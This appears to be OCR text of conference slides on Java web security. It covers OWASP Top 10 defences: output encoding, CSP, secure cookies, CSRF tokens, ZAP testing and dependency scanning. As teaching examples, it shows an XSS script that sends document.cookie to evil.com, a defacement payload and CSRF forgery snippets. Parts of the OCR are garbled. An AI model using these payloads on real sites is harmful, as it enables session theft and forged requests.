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- Presentation

84— Services

44— Persistence

>~ Java Runtime






Incorrect Calculation of Buffer Size §, Use of Potentiallly Dangerous Function
SQL Injection < ¥
Sensitive Data Exposure 5
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Path Traversal

a. Injection
Missing Authorization
Reliance on Untrusted Inputs in a Security Decision
Unrestricted Upload of File with Dangerous Type
Integer Overflow or Wraparound
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Open Redirect

Missing Authentication for Critical Function

Broken Authentication and Session Management
‘Using Components with Known Vulnerabilities
Download of Code Without Inte

Use of Hard-coded Credentials
Buffer Overflow
0S Command Injection
‘Use of a Broken or Risky Cryptog
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~ _Incorrect Authorization
Execution with Unnecessary Privileges

Missing Function Level Access Control

Use of a One-Way Hash without a Salt
Missing Encryption of Sensitive Data

Cross-Site Request Forgery (CSRF)

Unvalidated Redirects and Forwards

Improper Restri

O
o

n of Excesswe Authentication Attempts

Uncontrolled Format Strin



OWASP TOP 10 2013

01 - Injection

02 - Broken Authentication and Session Management
03 - Cross-Site Scripting (XSS)

04 - Insecure Direct Object References

05 - Security Misconfiguration

06 - Sensitive Data Exposure

07 - Missing Function Level Access Control

08 - Cross-Site Request Forgery (CSRF)

09 - Using Components with Known Vulnerabilities
10 - Unvalidated Redirects and Forwards






Model all data entering and leaving your system

Browser

HTTPS Request ~

(Web Applicatio

HTTPS Response| |
Interriet BOupdary
HTPS Request
PS Response

Web Server
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SQL Commands| ,*

Databasé,Boundary
\ _— SQL Database

Data \

File re\q
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File System
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OOO - C Customers

O, \
@ ¥ localhost:8080/Ch07_XSS/showCustomers. xhtmi?currency=Euro

JSESSIONID=76E4D2777292BAEE1DEBESBEAB17E722
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Session theft

<script>
var img = new Image();
img.src = "http://evil.com?" +
document.cookie;
</script>

Website defacement

<script>
document .body.innerHTML ( "XSS") ;
</script>
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Hibernate Validator

@Entity

public class User {
@Pattern(regexp=""[a-20-9]+")
private String username;

@Size(min = 5, max = 50)
private String email;

//



XSS

<script>alert("XSS")</script>

For HTML
&lt;scripté&gt;alert (&#34;XSS&#34;)&1lt;/scripté&gt;

For CSS
\3cscript\3e alert(\22XSS\22)\3c\2fscript\3e

For XML
&§lt;script&gt;alert (&#34;XSS&#34;)&1lt;/scripté&gt;



OWASP Java Encoder

String encHTML = Encode.forHtml (name);

String encCSS Encode.forCssString(name);

String encXML Encode. forXml (name) ;

forUri (String input) String @ ing input) String

¢

Attribute (String input) String

-~

orJavascript (String input) String
astring input) void
forXalComment (String input) string

orJava (5tring input) String

rJava (Writer out, String input void

ing (String input) string LContent (String input) String

tribute (S5tring input) string TOrCOATA (Writer out, String input void

forCssString (Writer out, String input) void

ing input) String

’ 552
TorCssuri (|

Writer out, L : t) void

TOrHtalAttribute (Writer out, String input) void

forital (Writer out, String input void
orHtmlContent (String input) string

orCDATA (S g input) String forHtalContent (Writer out, String input) oid

input) String forHtalUnquotedAttribute (Writer out, String input) oid

orHtelUnquotedAttribute (String input) String vaScriptAttribute (Writer out, 5tring input) old

forJavaScriptAttribute (String inpu String priavaScriptBlock (Writer out, String input) void

forJavaScript (Writer out, String put) void rJavascriptSource (Writer out, String input) void
3
’

'“'jawdSarlai3l3Cki$t{1ng 1nout Strlng orUriComponent (Writer out, 5t Y 1nput) void

{+] tSource (String input String

forXmlAttribute (Writer out, S in ﬁ void
forUriComponent (String input) String LC

Torxa
ViN

omment (Writer out, String 14 void
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rorXatContent (Writer out, String input) void

forUri(Writer out, String input void



OWASP Java Encoder

<%@ page language="java" contentType="text/html;

charset=UTF-8" pageEncoding="UTF-8"%>

<%@ page import="org.owasp.encoder.Encode" %>

<%@ taglib prefix="e" uri="https://www.owasp.org/
index.php/OWASP Java_ Encoder Project" %>

<html>
<body>
Hello
<%=Encode. forHtml (request.getParameter ( 'name")) %>

Hello

<e:forHtml value="§${param.name}"/>
</body>
</html>



<?xml version="1.0" encoding="UTF-8"?>

<web-app ... version="3.1">
<l—- ... =-=>
<session-config>
<l!-- idle timeout -->

<session-timeout>30</session-timeout>
<cookie-config>

<l!-- prevent script access -->
<http-only>true</http-only>
<!-- HTTPS only -->

<secure>true</secure>
</cookie-config>
<!-- no session rewriting -->
<tracking-mode>COOKIE</tracking-mode>
</session-config>
</web-app>



response.addHeader (
"Content-Security-Policy",
"default-src 'self’”
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Content Security Policy directives

default-src

object-src

script-src

connect-src
font-src
frame-src
IMQg-Ssrc
media-src

style-src

default if specific directive is not set

Sources in object, embed or applet tags

Script sources (includes XSLT)

XMLHttpRequest, WebSocket, ...
Font sources

Sources embeddable as frames
Image sources

Video and audio sources

CSS sources (does not include XSLT)



response.addHeader (
"Content-Security-Policy’,
"default-src 'none’;
script-src *.sample.com;
style-src sample.org"



Gontent Security Policy source list

* script-src *
'self script-src ‘self
‘none’ script-src ‘none
* sample.de script-src
scripts.sample.de

https: script-src https:

Wildcard

Same origin only
(scheme, host, port)

Prevent loading any

resource

Load f

rom

subdo

main

Load any script from
https: origin



Gontent Security Policy as second layer of defense



Intercent requests/ responses with OWASP ZAP

aNnn Untithed Session - OWASP ZAP
|| Standaedmode || W@ F@ e RIS OIT 0D L wiediroXmdnm o
N e y Schoelistart =+ Request o= Response [N - Skneting-Konsole
v @ P Shes Method 3 Meader Text & Body Table : | N
¥ . 5 hap [ Nocabent 8080
LT XS POST Mg //lacalhost i B8R/ XSS/ Index . ahtal MTTP/1.1
Y L oexs Most: localhost:sese
Per-Ageat: Morilla/3.0 (Macintoah; Intel Mac 05 X 30.9; rvidD.0) Gecho/20100100 Firefon/28.90
P CET shyfes css

¥ P avax faces resounrce
15 CEY sayles. css ahomiiny

B O sewch X beeak Points
O @ | FilterOFF
120004734 322917 GIT
$20004/04 122917 (A3
S20004/04 122907 CET

Alerty RO B0 =1 W)

Accept: text/ntal,application/satalennl, dpplication/xnliqed, 9, ¢/¢ 90,8
AcCept-Language! O, en-US gl 7, 60040,

Referer: WLUp://10Calhost 0080/ x5S/

Cookie: JSESSIONID=LF B I0OM P CEArSLA2 200400 TS IO

Commection: keep-alive

Content-Type! 00LICatLoa/ i Torm-ur leacoded

Content-Length: 18

 Type Pat armeter Narva Vakse Feninons
fores )au-.luuw _lSl)””lMNRG”’\!A S2059468389616132672 | Addins
form stangardForm sandardform  Addins
standardiormi S A Wty Addins
,  Addins
Addiny
P Aserts A Active Scan Bispider 0 Toeced Browse’ @ tuzzer [ Param < MEtp Sesteond o Jest Results < Chants
Y T Cote " Reason G Ste Rasp. Body Hghest Akt " vete Tags
hep Jecalhont 8080 /XSS 200 Ox idm 161 k8 o Low
Mg //ocalbont 8080 /0SS syl s O 404 Not Found sm 279 bytes " low Comement
g/ ecabost 080 /XSS )avan faces resouwoe /snl 200 Ox 7m 123 bytes W Low

oY Weblockets

Form, Mdden, AnaCSRI

Current Scams A 0 %0 0 0 @0 O




DEMO

JavaSecurity = XSS












<img src="Servlet-URL?name=CSRF"
width="0" height="0" />

v

vold doGet (HttpServletRequest req,
HttpServletResponse res) {
String name = reg.getParameter (' "name");

/] ...



var request = new XMLHttpRequest();
request.open( 'POST", "Servlet-URL");
request.send( 'name=CSRF") ;

v

vold doPost (HttpServletRequest req,
HttpServletResponse res) {
String name = reqg.getParameter('name'");

/] ...



Distinguish hetween normal and faked requ
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Spring Security

<form action="OrderServlet" method="post">
<input type="hidden"

name="${ csrf.parameterName}"

value="${ csrf.token}"/>

<label for="product">Product</label>
<input type="text" i1d="product"”
name="product" />

<!_ e o o __>

<input type="submit" wvalue="Order" />
</form>



Test your GSRF protection with faked tokens

Untitled Session - OWASP ZAP

|G e DIRIE DI D YV e Pl oXminm (e
. % Schnelistart =% Request o= Response _ Skripting-Konsole

Method $ Header: Text $ Body Table : | |

POST http://localhost:8080/Ch08_CSRF/ProtectedServiet NTTP/1.1

Most: localhost:dode

User-Agent: Mozilla/S5.0 (Macintosh; Intel Mac 05 X 10.9; rv:l8.0) Gecko/2010010]1 Firefox/28.0
Accept: text/htal,application/xhtalexml, application/xnl;g=9.9,9/+;3:0.8

Accept-Language: de,en-US;q=0.7,en;3=0.3

Referer: http://localhost:8089/Ch@8_CSRF/requests-protected. Jsp

Cookie: JSESSIONID=O0F6FDEBCFIIBGE1ABL 1 2CB4Q0CCRECD2

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

- Type Parameter Name Vakoe Functions

¥ grectingProtected (FORM) \

CSAF_TOKIN MIO0EN CSRF_TOKEN (HIDDEN)
name (TEXT)

<unknows> (SUBMIT) CSRF_TOKEN = 2952260897245276622

Ades Name Submit
type = hidden

value = 2952260897245276622
name = CSRF_TOXEN




DEMO

JavaSecurity = CSRF, CSRF-spring-security
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Outdated libraries imply a false sense of security




Find insecure libs with OWASP Dependency GCheck

e 00 (] Ch07_XSS — bash — 60x5 "

Last login: Sun Apr 20 13:53:02 on ttys00l
marvin:Ch@7_XSS dos$ mvn dependency:copy-dependencies

:NaNs) (] Ch07_XSS — bash — 63x5 "

Last login: Sun Apr 20 13:58:32 on ttys001l
marvin:Ch@7_XSS dos$ dependency-check.sh ——app Ch@7_XSS ——out .
--scan target/dependency




Not every vuinerability may afiect your application

800 J" @  Dependency-Check Report \& ®

&a ., Suche oder Adresse eingeben ¢ B f & =

Dependency-Check Report

K is an opon source 100l performing a best effort analysis of 3rd party dependencies. faise positives and false negatives may exist in the analysss performed by o

.......
’ - ” 5 ’ ‘ ¢ ’ " N 5 ’ ’ < ’ s AS 3 . g 5 . » rn D - e ne y " ’ h v . ot ’ " < N A gy < . . A
and e reporing provided constituies acceptiance for use an AS IS ' \, 8N0 there are NO wamanbes phed Or Otherwse, with regart 10 the andiysis Or 18 use. Any use of the 1001 and th

i the user’s rsk. In no event shall the copyrght holder or OWASP be held lable for any dam oSS whatsoever ansing out of or in connechion with the use of Thus 100!, the analyss

Project: Ch06

Scan Information (show all):
e dependency-check version: 1.2.1
e Report Generated On: Mai 11, 2014 at 15:15:47 MESZ
e Dependencies Scanned. 37
e Vulnerable Dependencies:. 2
o Vulnerabilities Found: 3
o Vulnerabilities Suppressed. 0

Dependency Display: show all

* commons-fileupload-1.2.jar
+ javassist-3.18.1-GA. jar

Dependencies

commons-fileupload-1.2.jar




Integrate Dependency Gheck into Jenkins builds

9 Run only If buld succeeds Run only If buld succeeds or IS unstable Run regardiess of buld result
Should the post-budd steps run only for successiul budds, ete.

Invoke OWASP Dependency-Check analysis
Path to scan ear/target/ear- 1.0.0/Ab, engine/target/engine- 1.0.0/WEB-INF/W, web/target/web- 1.0.0/WEB- INF/ WD

Output directory

Data directory flenions_workspace/dependency-check-data
Suppression fie

ZIP extensions

Disable CPE auto-update

Enable verbose logong

Generate optional HTML reports

Skop If triggered by SCM changes

o0 OOOOOO® S

Sop If trnggered by upstream changes

Dependency-Check Warnings
Details

FRviaces Core aph 4351l S . CVE- 2014 0008 , Severity! Medhum

The dofier hunction in webepp / Pushitandior? ler Java In Joss RchI aces 404, 405, and S.x slows remote atlachers 1o cause 4 derial of service (memory consvempiion and out of
memsory error ) via 4 lrge sumber of malormed stmonphere push reguests,

CVESv2 Score 4

MST Reference O 2014 000 D‘p‘mnmk nw
Catogory O - 20 Ivgroper Ingast Valdason - '
4
Retevrerces Source:  COWFIRW ¥
L NI tugaie redhat com vhow bug o™ - L 06748
o OSA gt tedbat Lo ishew DN (o 00080
Sources CONIARm
Nswver DS PRt comypsiegs fuore LAvomewL B ] 3171 S00 0 50er 7 24 T340 T 244 T 20 Y 00 TS Y e
UL DA LN comasiegl ot LLomenUB LI L LS00 0et 7 204 13420 N 2 T 20 R 2 0013 g 14
~
Source: CONFIAM
Nseve N=De asoes jhoas org/browne/BF -1 33%0
ol DS LSSt JROas OrdReome WY - 11230
Sources SECOUNEA
L 3%
. DS LS00 SO ASECORAS TN F-

720
2230
~an
7



Test the functionality you rely on
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Dominik Schadow

BridginglT GmbH
Konigstralle 42
70173 Stuttgart

Demo Projects
github.com/dschadow/
JavaSecurity

OWASP
WWW.owasp.org

Content Security Policy
www.w3.org/TR/CSP

Hibernate Validator
hibernate.org/validator

bridging I T

dominik.schadow @bridging-it.de
www.bridging-it.de

Blog https://blog.dominikschadow.de
Twitter @dschadow

OWASP Java Encoder
www.owasp.org/index.php/
OWASP_Java_Encoder_Project

OWASP ZAP
www.owasp.org/index.php/
OWASP_Zed_Attack_Proxy_Proje J daVd
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OWASP Dependency Check Secu rlty
www.owasp.org/index.php/ —
OWASP_Dependency_Check

Pictures
www.dreamstime.com
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